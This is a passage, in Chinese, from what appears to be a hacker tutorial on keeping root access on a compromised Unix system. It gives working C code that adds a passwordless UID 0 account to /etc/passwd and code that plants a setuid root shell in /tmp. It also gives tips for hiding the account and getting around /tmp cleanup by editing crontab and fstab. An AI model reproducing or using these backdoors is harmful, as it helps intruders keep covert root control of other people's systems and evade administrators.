最簡單的方法,就是在口令文件 passwd 中增加一個 UID 為 0 的帳號。但最好別這麼做,因為只要系統管理員檢查口令文件就會“漏餡”了。以下是在 /etc/passwd 口令文件中添加一個 UID 0 帳號的C程序。 <++> backdoor/backdoor1.c #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/sh\n"); } <--> 比這種方法稍微隱蔽一點的就是將藏在口令文件中某個無人使用帳號的 UID 改為 0,並將其第二個域(口令域)設為空。(注意,如果你使用的是較高版本的*nix,也許還要修改 /etc/shadow 文件。) 在 /tmp 目錄下放置 suid shell。以後只要你運行這個程序,就會輕易得到根用戶權限。這種方法幾乎是最受歡迎的了。但有許多系統每幾小時,或者每次啟動都會清除 /tmp 目錄下的數據,另外一些系統則根本不允許運行 /tmp 目錄下的 suid 程序。當然,你可以自己修改或清除這些限制(因為你已是根用戶,有權限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目錄下放置 suid shell 程序的C源程序。 <++> backdoor/backdoor2.c #include main() { system("cp /bin/sh /tmp/fid"); system("chown root.root /tmp/fid"); system("chmod 4755 /tmp/fid"); } <-->